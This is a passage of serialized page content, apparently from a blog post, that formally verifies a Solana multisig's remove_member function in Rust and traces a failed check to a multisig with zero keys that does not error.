as:",{"type":24,"tag":80,"props":28380,"children":28382},{"code":28381,"language":84,"meta":7,"className":82,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[28383],{"type":24,"tag":32,"props":28384,"children":28385},{"__ignoreMap":7},[28386,28393,28440,28447,28454,28501,28508],{"type":24,"tag":90,"props":28387,"children":28388},{"class":92,"line":93},[28389],{"type":24,"tag":90,"props":28390,"children":28391},{"style":114},[28392],{"type":29,"value":25920},{"type":24,"tag":90,"props":28394,"children":28395},{"class":92,"line":200},[28396,28400,28404,28408,28412,28416,28420,28424,28428,28432,28436],{"type":24,"tag":90,"props":28397,"children":28398},{"style":114},[28399],{"type":29,"value":22019},{"type":24,"tag":90,"props":28401,"children":28402},{"style":120},[28403],{"type":29,"value":226},{"type":24,"tag":90,"props":28405,"children":28406},{"style":114},[28407],{"type":29,"value":1165},{"type":24,"tag":90,"props":28409,"children":28410},{"style":120},[28411],{"type":29,"value":226},{"type":24,"tag":90,"props":28413,"children":28414},{"style":114},[28415],{"type":29,"value":25613},{"type":24,"tag":90,"props":28417,"children":28418},{"style":120},[28419],{"type":29,"value":226},{"type":24,"tag":90,"props":28421,"children":28422},{"style":114},[28423],{"type":29,"value":22779},{"type":24,"tag":90,"props":28425,"children":28426},{"style":120},[28427],{"type":29,"value":226},{"type":24,"tag":90,"props":28429,"children":28430},{"style":114},[28431],{"type":29,"value":22817},{"type":24,"tag":90,"props":28433,"children":28434},{"style":120},[28435],{"type":29,"value":12830},{"type":24,"tag":90,"props":28437,"children":28438},{"style":114},[28439],{"type":29,"value":21237},{"type":24,"tag":90,"props":28441,"children":28442},{"class":92,"line":239},[28443],{"type":24,"tag":90,"props":28444,"children":28445},{"style":114},[28446],{"type":29,"value":22054},{"type":24,"tag":90,"props":28448,"children":28449},{"class":92,"line":248},[28450],{"type":24,"tag":90,"props":28451,"children":28452},{"style":114},[28453],{"type":29,"value":22011},{"type":24,"tag":90,"props":28455,"children":28456},{"class":92,"line":258},[28457,28461,28465,28469,28473,28477,28481,28485,28489,28493,28497],{"type":24,"tag":90,"props":28458,"children":28459},{"style":114},[28460],{"type":29,"value":22019},{"type":24,"tag":90,"props":28462,"children":28463},{"style":120},[28464],{"type":29,"value":226},{"type":24,"tag":90,"props":28466,"children":28467},{"style":114},[28468],{"type":29,"value":1165},{"type":24,"tag":90,"props":28470,"children":28471},{"style":120},[28472],{"type":29,"value":226},{"type":24,"tag":90,"props":28474,"children":28475},{"style":114},[28476],{"type":29,"value":25613},{"type":24,"tag":90,"props":28478,"children":28479},{"style":120},[28480],{"type":29,"value":226},{"type":24,"tag":90,"props":28482,"children":28483},{"style":114},[28484],{"type":29,"value":22779},{"type":24,"tag":90,"props":28486,"children":28487},{"style":120},[28488],{"type":29,"value":226},{"type":24,"tag":90,"props":28490,"children":28491},{"style":114},[28492],{"type":29,"value":22817},{"type":24,"tag":90,"props":28494,"children":28495},{"style":120},[28496],{"type":29,"value":21209},{"type":24,"tag":90,"props":28498,"children":28499},{"style":114},[28500],{"type":29,"value":21237},{"type":24,"tag":90,"props":28502,"children":28503},{"class":92,"line":272},[28504],{"type":24,"tag":90,"props":28505,"children":28506},{"style":114},[28507],{"type":29,"value":22054},{"type":24,"tag":90,"props":28509,"children":28510},{"class":92,"line":281},[28511,28515,28519,28523,28527,28531,28535],{"type":24,"tag":90,"props":28512,"children":28513},{"style":97},[28514],{"type":29,"value":22062},{"type":24,"tag":90,"props":28516,"children":28517},{"style":108},[28518],{"type":29,"value":27574},{"type":24,"tag":90,"props":28520,"children":28521},{"style":114},[28522],{"type":29,"value":117},{"type":24,"tag":90,"props":28524,"children":28525},{"style":120},[28526],{"type":29,"value":3013},{"type":24,"tag":90,"props":28528,"children":28529},{"style":114},[28530],{"type":29,"value":25797},{"type":24,"tag":90,"props":28532,"children":28533},{"style":120},[28534],{"type":29,"value":3013},{"type":24,"tag":90,"props":28536,"children":28537},{"style":114},[28538],{"type":29,"value":11967},{"type":24,"tag":25,"props":28540,"children":28541},{},[28542,28544,28549],{"type":29,"value":28543},"Let's test this, we just need to run the new ",{"type":24,"tag":32,"props":28545,"children":28547},{"className":28546},[],[28548],{"type":29,"value":21957},{"type":29,"value":28550}," harness:",{"type":24,"tag":80,"props":28552,"children":28554},{"code":28553},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[28555],{"type":24,"tag":32,"props":28556,"children":28557},{"__ignoreMap":7},[28558],{"type":29,"value":28553},{"type":24,"tag":25,"props":28560,"children":28561},{},[28562],{"type":29,"value":28563},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":24,"tag":80,"props":28565,"children":28567},{"code":28566,"language":84,"meta":7,"className":82,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[28568],{"type":24,"tag":32,"props":28569,"children":28570},{"__ignoreMap":7},[28571,28582,28601,28620,28639,28658,28677,28696,28715,28734,28753,28773,28792,28799,28806,28833],{"type":24,"tag":90,"props":28572,"children":28573},{"class":92,"line":93},[28574,28578],{"type":24,"tag":90,"props":28575,"children":28576},{"style":146},[28577],{"type":29,"value":3667},{"type":24,"tag":90,"props":28579,"children":28580},{"style":114},[28581],{"type":29,"value":269},{"type":24,"tag":90,"props":28583,"children":28584},{"class":92,"line":200},[28585,28589,28593,28597],{"type":24,"tag":90,"props":28586,"children":28587},{"style":136},[28588],{"type":29,"value":26980},{"type":24,"tag":90,"props":28590,"children":28591},{"style":120},[28592],{"type":29,"value":78},{"type":24,"tag":90,"props":28594,"children":28595},{"style":146},[28596],{"type":29,"value":22952},{"type":24,"tag":90,"props":28598,"children":28599},{"style":114},[28600],{"type":29,"value":269},{"type":24,"tag":90,"props":28602,"children":28603},{"class":92,"line":239},[28604,28608,28612,28616],{"type":24,"tag":90,"props":28605,"children":28606},{"style":136},[28607],{"type":29,"value":25634},{"type":24,"tag":90,"props":28609,"children":28610},{"style":120},[28611],{"type":29,"value":78},{"type":24,"tag":90,"props":28613,"children":28614},{"style":349},[28615],{"type":29,"value":5448},{"type":24,"tag":90,"props":28617,"children":28618},{"style":114},[28619],{"type":29,"value":748},{"type":24,"tag":90,"props":28621,"children":28622},{"class":92,"line":248},[28623,28627,28631,28635],{"type":24,"tag":90,"props":28624,"children":28625},{"style":136},[28626],{"type":29,"value":27020},{"type":24,"tag":90,"props":28628,"children":28629},{"style":120},[28630],{"type":29,"value":78},{"type":24,"tag":90,"props":28632,"children":28633},{"style":349},[28634],{"type":29,"value":5448},{"type":24,"tag":90,"props":28636,"children":28637},{"style":114},[28638],{"type":29,"value":748},{"type":24,"tag":90,"props":28640,"children":28641},{"class":92,"line":258},[28642,28646,28650,28654],{"type":24,"tag":90,"props":28643,"children":28644},{"style":136},[28645],{"type":29,"value":27040},{"type":24,"tag":90,"props":28647,"children":28648},{"style":120},[28649],{"type":29,"value":78},{"type":24,"tag":90,"props":28651,"children":28652},{"style":349},[28653],{"type":29,"value":5448},{"type":24,"tag":90,"props":28655,"children":28656},{"style":114},[28657],{"type":29,"value":748},{"type":24,"tag":90,"props":28659,"children":28660},{"class":92,"line":272},[28661,28665,28669,28673],{"type":24,"tag":90,"props":28662,"children":28663},{"style":136},[28664],{"type":29,"value":27060},{"type":24,"tag":90,"props":28666,"children":28667},{"style":120},[28668],{"type":29,"value":78},{"type":24,"tag":90,"props":28670,"children":28671},{"style":349},[28672],{"type":29,"value":5448},{"type":24,"tag":90,"props":28674,"children":28675},{"style":114},[28676],{"type":29,"value":748},{"type":24,"tag":90,"props":28678,"children":28679},{"class":92,"line":281},[28680,28684,28688,28692],{"type":24,"tag":90,"props":28681,"children":28682},{"style":136},[28683],{"type":29,"value":27080},{"type":24,"tag":90,"props":28685,"children":28686},{"style":120},[28687],{"type":29,"value":78},{"type":24,"tag":90,"props":28689,"children":28690},{"style":349},[28691],{"type":29,"value":5448},{"type":24,"tag":90,"props":28693,"children":28694},{"style":114},[28695],{"type":29,"value":748},{"type":24,"tag":90,"props":28697,"children":28698},{"class":92,"line":384},[28699,28703,28707,28711],{"type":24,"tag":90,"props":28700,"children":28701},{"style":136},[28702],{"type":29,"value":25647},{"type":24,"tag":90,"props":28704,"children":28705},{"style":120},[28706],{"type":29,"value":78},{"type":24,"tag":90,"props":28708,"children":28709},{"style":120},[28710],{"type":29,"value":27108},{"type":24,"tag":90,"props":28712,"children":28713},{"style":114},[28714],{"type":29,"value":748},{"type":24,"tag":90,"props":28716,"children":28717},{"class":92,"line":420},[28718,28722,28726,28730],{"type":24,"tag":90,"props":28719,"children":28720},{"style":136},[28721],{"type":29,"value":27120},{"type":24,"tag":90,"props":28723,"children":28724},{"style":120},[28725],{"type":29,"value":78},{"type":24,"tag":90,"props":28727,"children":28728},{"style":97},[28729],{"type":29,"value":11431},{"type":24,"tag":90,"props":28731,"children":28732},{"style":114},[28733],{"type":29,"value":748},{"type":24,"tag":90,"props":28735,"children":28736},{"class":92,"line":428},[28737,28741,28745,28749],{"type":24,"tag":90,"props":28738,"children":28739},{"style":136},[28740],{"type":29,"value":27140},{"type":24,"tag":90,"props":28742,"children":28743},{"style":120},[28744],{"type":29,"value":78},{"type":24,"tag":90,"props":28746,"children":28747},{"style":146},[28748],{"type":29,"value":23185},{"type":24,"tag":90,"props":28750,"children":28751},{"style":114},[28752],{"type":29,"value":269},{"type":24,"tag":90,"props":28754,"children":28755},{"class":92,"line":437},[28756,28761,28765,28769],{"type":24,"tag":90,"props":28757,"children":28758},{"style":136},[28759],{"type":29,"value":28760}," data",{"type":24,"tag":90,"props":28762,"children":28763},{"style":120},[28764],{"type":29,"value":78},{"type":24,"tag":90,"props":28766,"children":28767},{"style":120},[28768],{"type":29,"value":27108},{"type":24,"tag":90,"props":28770,"children":28771},{"style":114},[28772],{"type":29,"value":748},{"type":24,"tag":90,"props":28774,"children":28775},{"class":92,"line":574},[28776,28780,28784,28788],{"type":24,"tag":90,"props":28777,"children":28778},{"style":136},[28779],{"type":29,"value":27161},{"type":24,"tag":90,"props":28781,"children":28782},{"style":120},[28783],{"type":29,"value":78},{"type":24,"tag":90,"props":28785,"children":28786},{"style":349},[28787],{"type":29,"value":5448},{"type":24,"tag":90,"props":28789,"children":28790},{"style":114},[28791],{"type":29,"value":748},{"type":24,"tag":90,"props":28793,"children":28794},{"class":92,"line":606},[28795],{"type":24,"tag":90,"props":28796,"children":28797},{"style":114},[28798],{"type":29,"value":27182},{"type":24,"tag":90,"props":28800,"children":28801},{"class":92,"line":615},[28802],{"type":24,"tag":90,"props":28803,"children":28804},{"style":114},[28805],{"type":29,"value":27190},{"type":24,"tag":90,"props":28807,"children":28808},{"class":92,"line":623},[28809,28813,28817,28821,28825,28829],{"type":24,"tag":90,"props":28810,"children":28811},{"style":136},[28812],{"type":29,"value":27198},{"type":24,"tag":90,"props":28814,"children":28815},{"style":120},[28816],{"type":29,"value":78},{"type":24,"tag":90,"props":28818,"children":28819},{"style":146},[28820],{"type":29,"value":27207},{"type":24,"tag":90,"props":28822,"children":28823},{"style":114},[28824],{"type":29,"value":1196},{"type":24,"tag":90,"props":28826,"children":28827},{"style":120},[28828],{"type":29,"value":3013},{"type":24,"tag":90,"props":28830,"children":28831},{"style":114},[28832],{"type":29,"value":27220},{"type":24,"tag":90,"props":28834,"children":28835},{"class":92,"line":632},[28836],{"type":24,"tag":90,"props":28837,"children":28838},{"style":114},[28839],{"type":29,"value":827},{"type":24,"tag":25,"props":28841,"children":28842},{},[28843],{"type":29,"value":28844},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":24,"tag":25,"props":28846,"children":28847},{},[28848,28850,28856],{"type":29,"value":28849},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":24,"tag":32,"props":28851,"children":28853},{"className":28852},[],[28854],{"type":29,"value":28855},"Ms::remove_member",{"type":29,"value":78},{"type":24,"tag":80,"props":28858,"children":28860},{"code":28859,"language":84,"meta":7,"className":82,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[28861],{"type":24,"tag":32,"props":28862,"children":28863},{"__ignoreMap":7},[28864,28923,28954,28961],{"type":24,"tag":90,"props":28865,"children":28866},{"class":92,"line":93},[28867,28871,28875,28879,28883,28887,28891,28895,28899,28903,28907,28911,28915,28919],{"type":24,"tag":90,"props":28868,"children":28869},{"style":636},[28870],{"type":29,"value":2084},{"type":24,"tag":90,"props":28872,"children":28873},{"style":136},[28874],{"type":29,"value":27652},{"type":24,"tag":90,"props":28876,"children":28877},{"style":120},[28878],{"type":29,"value":226},{"type":24,"tag":90,"props":28880,"children":28881},{"style":114},[28882],{"type":29,"value":1165},{"type":24,"tag":90,"props":28884,"children":28885},{"style":120},[28886],{"type":29,"value":226},{"type":24,"tag":90,"props":28888,"children":28889},{"style":114},[28890],{"type":29,"value":25613},{"type":24,"tag":90,"props":28892,"children":28893},{"style":120},[28894],{"type":29,"value":226},{"type":24,"tag":90,"props":28896,"children":28897},{"style":114},[28898],{"type":29,"value":22779},{"type":24,"tag":90,"props":28900,"children":28901},{"style":120},[28902],{"type":29,"value":226},{"type":24,"tag":90,"props":28904,"children":28905},{"style":108},[28906],{"type":29,"value":11513},{"type":24,"tag":90,"props":28908,"children":28909},{"style":114},[28910],{"type":29,"value":495},{"type":24,"tag":90,"props":28912,"children":28913},{"style":120},[28914],{"type":29,"value":10951},{"type":24,"tag":90,"props":28916,"children":28917},{"style":349},[28918],{"type":29,"value":6909},{"type":24,"tag":90,"props":28920,"children":28921},{"style":114},[28922],{"type":29,"value":269},{"type":24,"tag":90,"props":28924,"children":28925},{"class":92,"line":200},[28926,28930,28934,28938,28942,28946,28950],{"type":24,"tag":90,"props":28927,"children":28928},{"style":636},[28929],{"type":29,"value":3510},{"type":24,"tag":90,"props":28931,"children":28932},{"style":108},[28933],{"type":29,"value":25316},{"type":24,"tag":90,"props":28935,"children":28936},{"style":114},[28937],{"type":29,"value":117},{"type":24,"tag":90,"props":28939,"children":28940},{"style":146},[28941],{"type":29,"value":25325},{"type":24,"tag":90,"props":28943,"children":28944},{"style":120},[28945],{"type":29,"value":1211},{"type":24,"tag":90,"props":28947,"children":28948},{"style":146},[28949],{"type":29,"value":27728},{"type":24,"tag":90,"props":28951,"children":28952},{"style":114},[28953],{"type":29,"value":571},{"type":24,"tag":90,"props":28955,"children":28956},{"class":92,"line":239},[28957],{"type":24,"tag":90,"props":28958,"children":28959},{"style":114},[28960],{"type":29,"value":827},{"type":24,"tag":90,"props":28962,"children":28963},{"class":92,"line":248},[28964,28968,28972,28976,28980,28984,28988,28992,28996,29000,29004,29008],{"type":24,"tag":90,"props":28965,"children":28966},{"style":136},[28967],{"type":29,"value":22076},{"type":24,"tag":90,"props":28969,"children":28970},{"style":120},[28971],{"type":29,"value":226},{"type":24,"tag":90,"props":28973,"children":28974},{"style":114},[28975],{"type":29,"value":1165},{"type":24,"tag":90,"props":28977,"children":28978},{"style":120},[28979],{"type":29,"value":226},{"type":24,"tag":90,"props":28981,"children":28982},{"style":114},[28983],{"type":29,"value":25613},{"type":24,"tag":90,"props":28985,"children":28986},{"style":120},[28987],{"type":29,"value":226},{"type":24,"tag":90,"props":28989,"children":28990},{"style":108},[28991],{"type":29,"value":27275},{"type":24,"tag":90,"props":28993,"children":28994},{"style":114},[28995],{"type":29,"value":117},{"type":24,"tag":90,"props":28997,"children":28998},{"style":136},[28999],{"type":29,"value":27608},{"type":24,"tag":90,"props":29001,"children":29002},{"style":114},[29003],{"type":29,"value":517},{"type":24,"tag":90,"props":29005,"children":29006},{"style":120},[29007],{"type":29,"value":714},{"type":24,"tag":90,"props":29009,"children":29010},{"style":114},[29011],{"type":29,"value":381},{"type":24,"tag":25,"props":29013,"children":29014},{},[29015,29017,29023,29025,29031],{"type":29,"value":29016},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":24,"tag":32,"props":29018,"children":29020},{"className":29019},[],[29021],{"type":29,"value":29022},"Ms::is_member",{"type":29,"value":29024},") and if it is not, it simply skips the removal and returns ",{"type":24,"tag":32,"props":29026,"children":29028},{"className":29027},[],[29029],{"type":29,"value":29030},"Ok(())",{"type":29,"value":226},{"type":24,"tag":80,"props":29033,"children":29035},{"code":29034,"language":84,"meta":7,"className":82,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n if let Some(ind) = self.is_member(member) {\n self.keys.remove(ind);\n if self.keys.len() \u003C usize::from(self.threshold) {\n self.threshold = self.keys.len().try_into().unwrap();\n }\n }\n Ok(())\n}\n",[29036],{"type":24,"tag":32,"props":29037,"children":29038},{"__ignoreMap":7},[29039,29103,29162,29199,29258,29326,29333,29340,29351],{"type":24,"tag":90,"props":29040,"children":29041},{"class":92,"line":93},[29042,29046,29050,29054,29058,29062,29066,29070,29074,29079,29083,29087,29091,29095,29099],{"type":24,"tag":90,"props":29043,"children":29044},{"style":97},[29045],{"type":29,"value":100},{"type":24,"tag":90,"props":29047,"children":29048},{"style":97},[29049],{"type":29,"value":105},{"type":24,"tag":90,"props":29051,"children":29052},{"style":108},[29053],{"type":29,"value":27574},{"type":24,"tag":90,"props":29055,"children":29056},{"style":114},[29057],{"type":29,"value":117},{"type":24,"tag":90,"props":29059,"children":29060},{"style":120},[29061],{"type":29,"value":123},{"type":24,"tag":90,"props":29063,"children":29064},{"style":97},[29065],{"type":29,"value":371},{"type":24,"tag":90,"props":29067,"children":29068},{"style":97},[29069],{"type":29,"value":221},{"type":24,"tag":90,"props":29071,"children":29072},{"style":114},[29073],{"type":29,"value":133},{"type":24,"tag":90,"props":29075,"children":29076},{"style":136},[29077],{"type":29,"value":29078},"member",{"type":24,"tag":90,"props":29080,"children":29081},{"style":120},[29082],{"type":29,"value":78},{"type":24,"tag":90,"props":29084,"children":29085},{"style":146},[29086],{"type":29,"value":22653},{"type":24,"tag":90,"props":29088,"children":29089},{"style":114},[29090],{"type":29,"value":172},{"type":24,"tag":90,"props":29092,"children":29093},{"style":120},[29094],{"type":29,"value":177},{"type":24,"tag":90,"props":29096,"children":29097},{"style":146},[29098],{"type":29,"value":182},{"type":24,"tag":90,"props":29100,"children":29101},{"style":114},[29102],{"type":29,"value":22127},{"type":24,"tag":90,"props":29104,"children":29105},{"class":92,"line":200},[29106,29110,29115,29120,29124,29129,29133,29137,29141,29145,29150,29154,29158],{"type":24,"tag":90,"props":29107,"children":29108},{"style":636},[29109],{"type":29,"value":639},{"type":24,"tag":90,"props":29111,"children":29112},{"style":97},[29113],{"type":29,"value":29114}," let",{"type":24,"tag":90,"props":29116,"children":29117},{"style":146},[29118],{"type":29,"value":29119}," Some",{"type":24,"tag":90,"props":29121,"children":29122},{"style":114},[29123],{"type":29,"value":117},{"type":24,"tag":90,"props":29125,"children":29126},{"style":136},[29127],{"type":29,"value":29128},"ind",{"type":24,"tag":90,"props":29130,"children":29131},{"style":114},[29132],{"type":29,"value":172},{"type":24,"tag":90,"props":29134,"children":29135},{"style":120},[29136],{"type":29,"value":5491},{"type":24,"tag":90,"props":29138,"children":29139},{"style":97},[29140],{"type":29,"value":221},{"type":24,"tag":90,"props":29142,"children":29143},{"style":120},[29144],{"type":29,"value":226},{"type":24,"tag":90,"props":29146,"children":29147},{"style":108},[29148],{"type":29,"value":29149},"is_member",{"type":24,"tag":90,"props":29151,"children":29152},{"style":114},[29153],{"type":29,"value":117},{"type":24,"tag":90,"props":29155,"children":29156},{"style":136},[29157],{"type":29,"value":29078},{"type":24,"tag":90,"props":29159,"children":29160},{"style":114},[29161],{"type":29,"value":1297},{"type":24,"tag":90,"props":29163,"children":29164},{"class":92,"line":239},[29165,29170,29174,29178,29182,29187,29191,29195],{"type":24,"tag":90,"props":29166,"children":29167},{"style":97},[29168],{"type":29,"value":29169}," self",{"type":24,"tag":90,"props":29171,"children":29172},{"style":120},[29173],{"type":29,"value":226},{"type":24,"tag":90,"props":29175,"children":29176},{"style":114},[29177],{"type":29,"value":22779},{"type":24,"tag":90,"props":29179,"children":29180},{"style":120},[29181],{"type":29,"value":226},{"type":24,"tag":90,"props":29183,"children":29184},{"style":108},[29185],{"type":29,"value":29186},"remove",{"type":24,"tag":90,"props":29188,"children":29189},{"style":114},[29190],{"type":29,"value":117},{"type":24,"tag":90,"props":29192,"children":29193},{"style":136},[29194],{"type":29,"value":29128},{"type":24,"tag":90,"props":29196,"children":29197},{"style":114},[29198],{"type":29,"value":571},{"type":24,"tag":90,"props":29200,"children":29201},{"class":92,"line":248},[29202,29206,29210,29214,29218,29222,29226,29230,29234,29238,29242,29246,29250,29254],{"type":24,"tag":90,"props":29203,"children":29204},{"style":636},[29205],{"type":29,"value":5667},{"type":24,"tag":90,"props":29207,"children":29208},{"style":97},[29209],{"type":29,"value":221},{"type":24,"tag":90,"props":29211,"children":29212},{"style":120},[29213],{"type":29,"value":226},{"type":24,"tag":90,"props":29215,"children":29216},{"style":114},[29217],{"type":29,"value":22779},{"type":24,"tag":90,"props":29219,"children":29220},{"style":120},[29221],{"type":29,"value":226},{"type":24,"tag":90,"props":29223,"children":29224},{"style":108},[29225],{"type":29,"value":11513},{"type":24,"tag":90,"props":29227,"children":29228},{"style":114},[29229],{"type":29,"value":27853},{"type":24,"tag":90,"props":29231,"children":29232},{"style":146},[29233],{"type":29,"value":3119},{"type":24,"tag":90,"props":29235,"children":29236},{"style":120},[29237],{"type":29,"value":1211},{"type":24,"tag":90,"props":29239,"children":29240},{"style":108},[29241],{"type":29,"value":21268},{"type":24,"tag":90,"props":29243,"children":29244},{"style":114},[29245],{"type":29,"value":117},{"type":24,"tag":90,"props":29247,"children":29248},{"style":97},[29249],{"type":29,"value":128},{"type":24,"tag":90,"props":29251,"children":29252},{"style":120},[29253],{"type":29,"value":226},{"type":24,"tag":90,"props":29255,"children":29256},{"style":114},[29257],{"type":29,"value":27898},{"type":24,"tag":90,"props":29259,"children":29260},{"class":92,"line":258},[29261,29266,29270,29274,29278,29282,29286,29290,29294,29298,29302,29306,29310,29314,29318,29322],{"type":24,"tag":90,"props":29262,"children":29263},{"style":97},[29264],{"type":29,"value":29265}," self",{"type":24,"tag":90,"props":29267,"children":29268},{"style":120},[29269],{"type":29,"value":226},{"type":24,"tag":90,"props":29271,"children":29272},{"style":114},[29273],{"type":29,"value":22867},{"type":24,"tag":90,"props":29275,"children":29276},{"style":120},[29277],{"type":29,"value":5491},{"type":24,"tag":90,"props":29279,"children":29280},{"style":97},[29281],{"type":29,"value":221},{"type":24,"tag":90,"props":29283,"children":29284},{"style":120},[29285],{"type":29,"value":226},{"type":24,"tag":90,"props":29287,"children":29288},{"style":114},[29289],{"type":29,"value":22779},{"type":24,"tag":90,"props":29291,"children":29292},{"style":120},[29293],{"type":29,"value":226},{"type":24,"tag":90,"props":29295,"children":29296},{"style":108},[29297],{"type":29,"value":11513},{"type":24,"tag":90,"props":29299,"children":29300},{"style":114},[29301],{"type":29,"value":314},{"type":24,"tag":90,"props":29303,"children":29304},{"style":120},[29305],{"type":29,"value":226},{"type":24,"tag":90,"props":29307,"children":29308},{"style":108},[29309],{"type":29,"value":27971},{"type":24,"tag":90,"props":29311,"children":29312},{"style":114},[29313],{"type":29,"value":314},{"type":24,"tag":90,"props":29315,"children":29316},{"style":120},[29317],{"type":29,"value":226},{"type":24,"tag":90,"props":29319,"children":29320},{"style":108},[29321],{"type":29,"value":6053},{"type":24,"tag":90,"props":29323,"children":29324},{"style":114},[29325],{"type":29,"value":236},{"type":24,"tag":90,"props":29327,"children":29328},{"class":92,"line":272},[29329],{"type":24,"tag":90,"props":29330,"children":29331},{"style":114},[29332],{"type":29,"value":5740},{"type":24,"tag":90,"props":29334,"children":29335},{"class":92,"line":281},[29336],{"type":24,"tag":90,"props":29337,"children":29338},{"style":114},[29339],{"type":29,"value":612},{"type":24,"tag":90,"props":29341,"children":29342},{"class":92,"line":384},[29343,29347],{"type":24,"tag":90,"props":29344,"children":29345},{"style":146},[29346],{"type":29,"value":813},{"type":24,"tag":90,"props":29348,"children":29349},{"style":114},[29350],{"type":29,"value":818},{"type":24,"tag":90,"props":29352,"children":29353},{"class":92,"line":420},[29354],{"type":24,"tag":90,"props":29355,"children":29356},{"style":114},[29357],{"type":29,"value":827},{"type":24,"tag":25,"props":29359,"children":29360},{},[29361,29363,29368,29370,29376,29378,29384,29386,29391],{"type":29,"value":29362},"Inside ",{"type":24,"tag":32,"props":29364,"children":29366},{"className":29365},[],[29367],{"type":29,"value":29022},{"type":29,"value":29369},", we see that it performs a ",{"type":24,"tag":32,"props":29371,"children":29373},{"className":29372},[],[29374],{"type":29,"value":29375},"binary_search",{"type":29,"value":29377}," on the keys vec and returns the index or ",{"type":24,"tag":32,"props":29379,"children":29381},{"className":29380},[],[29382],{"type":29,"value":29383},"None",{"type":29,"value":29385},". Since the vec has size zero, this will just return ",{"type":24,"tag":32,"props":29387,"children":29389},{"className":29388},[],[29390],{"type":29,"value":29383},{"type":29,"value":226},{"type":24,"tag":80,"props":29393,"children":29395},{"code":29394,"language":84,"meta":7,"className":82,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n match self.keys.binary_search(&member) {\n Ok(ind) => Some(ind),\n _ => None,\n }\n}\n",[29396],{"type":24,"tag":32,"props":29397,"children":29398},{"__ignoreMap":7},[29399,29468,29511,29550,29572,29579],{"type":24,"tag":90,"props":29400,"children":29401},{"class":92,"line":93},[29402,29406,29410,29415,29419,29423,29427,29431,29435,29439,29443,29447,29451,29456,29460,29464],{"type":24,"tag":90,"props":29403,"children":29404},{"style":97},[29405],{"type":29,"value":100},{"type":24,"tag":90,"props":29407,"children":29408},{"style":97},[29409],{"type":29,"value":105},{"type":24,"tag":90,"props":29411,"children":29412},{"style":108},[29413],{"type":29,"value":29414}," is_member",{"type":24,"tag":90,"props":29416,"children":29417},{"style":114},[29418],{"type":29,"value":117},{"type":24,"tag":90,"props":29420,"children":29421},{"style":120},[29422],{"type":29,"value":123},{"type":24,"tag":90,"props":29424,"children":29425},{"style":97},[29426],{"type":29,"value":128},{"type":24,"tag":90,"props":29428,"children":29429},{"style":114},[29430],{"type":29,"value":133},{"type":24,"tag":90,"props":29432,"children":29433},{"style":136},[29434],{"type":29,"value":29078},{"type":24,"tag":90,"props":29436,"children":29437},{"style":120},[29438],{"type":29,"value":78},{"type":24,"tag":90,"props":29440,"children":29441},{"style":146},[29442],{"type":29,"value":22653},{"type":24,"tag":90,"props":29444,"children":29445},{"style":114},[29446],{"type":29,"value":172},{"type":24,"tag":90,"props":29448,"children":29449},{"style":120},[29450],{"type":29,"value":177},{"type":24,"tag":90,"props":29452,"children":29453},{"style":146},[29454],{"type":29,"value":29455}," Option",{"type":24,"tag":90,"props":29457,"children":29458},{"style":114},[29459],{"type":29,"value":1575},{"type":24,"tag":90,"props":29461,"children":29462},{"style":146},[29463],{"type":29,"value":3119},{"type":24,"tag":90,"props":29465,"children":29466},{"style":114},[29467],{"type":29,"value":197},{"type":24,"tag":90,"props":29469,"children":29470},{"class":92,"line":200},[29471,29475,29479,29483,29487,29491,29495,29499,29503,29507],{"type":24,"tag":90,"props":29472,"children":29473},{"style":636},[29474],{"type":29,"value":1246},{"type":24,"tag":90,"props":29476,"children":29477},{"style":97},[29478],{"type":29,"value":221},{"type":24,"tag":90,"props":29480,"children":29481},{"style":120},[29482],{"type":29,"value":226},{"type":24,"tag":90,"props":29484,"children":29485},{"style":114},[29486],{"type":29,"value":22779},{"type":24,"tag":90,"props":29488,"children":29489},{"style":120},[29490],{"type":29,"value":226},{"type":24,"tag":90,"props":29492,"children":29493},{"style":108},[29494],{"type":29,"value":29375},{"type":24,"tag":90,"props":29496,"children":29497},{"style":114},[29498],{"type":29,"value":117},{"type":24,"tag":90,"props":29500,"children":29501},{"style":120},[29502],{"type":29,"value":123},{"type":24,"tag":90,"props":29504,"children":29505},{"style":136},[29506],{"type":29,"value":29078},{"type":24,"tag":90,"props":29508,"children":29509},{"style":114},[29510],{"type":29,"value":1297},{"type":24,"tag":90,"props":29512,"children":29513},{"class":92,"line":239},[29514,29518,29522,29526,29530,29534,29538,29542,29546],{"type":24,"tag":90,"props":29515,"children":29516},{"style":146},[29517],{"type":29,"value":1305},{"type":24,"tag":90,"props":29519,"children":29520},{"style":114},[29521],{"type":29,"value":117},{"type":24,"tag":90,"props":29523,"children":29524},{"style":136},[29525],{"type":29,"value":29128},{"type":24,"tag":90,"props":29527,"children":29528},{"style":114},[29529],{"type":29,"value":172},{"type":24,"tag":90,"props":29531,"children":29532},{"style":120},[29533],{"type":29,"value":1315},{"type":24,"tag":90,"props":29535,"children":29536},{"style":146},[29537],{"type":29,"value":29119},{"type":24,"tag":90,"props":29539,"children":29540},{"style":114},[29541],{"type":29,"value":117},{"type":24,"tag":90,"props":29543,"children":29544},{"style":136},[29545],{"type":29,"value":29128},{"type":24,"tag":90,"props":29547,"children":29548},{"style":114},[29549],{"type":29,"value":779},{"type":24,"tag":90,"props":29551,"children":29552},{"class":92,"line":248},[29553,29558,29563,29568],{"type":24,"tag":90,"props":29554,"children":29555},{"style":136},[29556],{"type":29,"value":29557}," _",{"type":24,"tag":90,"props":29559,"children":29560},{"style":120},[29561],{"type":29,"value":29562}," =>",{"type":24,"tag":90,"props":29564,"children":29565},{"style":146},[29566],{"type":29,"value":29567}," 